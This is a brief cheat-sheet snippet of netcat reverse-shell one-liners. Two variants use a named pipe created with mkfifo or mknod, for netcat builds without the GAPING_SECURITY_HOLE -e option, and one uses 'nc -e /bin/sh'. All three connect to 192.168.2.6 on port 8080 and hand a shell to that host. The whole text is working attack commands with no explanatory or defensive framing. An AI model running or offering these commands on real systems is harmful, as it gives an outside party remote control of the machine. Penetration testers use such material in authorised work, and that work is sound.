Without GAPING_SECURITY_HOLE (using mkfifo):
rm -f /tmp/a; mkfifo /tmp/a; nc 192.168.2.6 8080 0</tmp/a | /bin/sh >/tmp/a 2>&1; rm /tmp/a
Or using mknod:
rm -f /tmp/a; mknod /tmp/a p && nc 192.168.2.6 8080 0</tmp/a | /bin/bash 1>/tmp/a
With GAPING_SECURITY_HOLE:
nc 192.168.2.6 8080 -e /bin/sh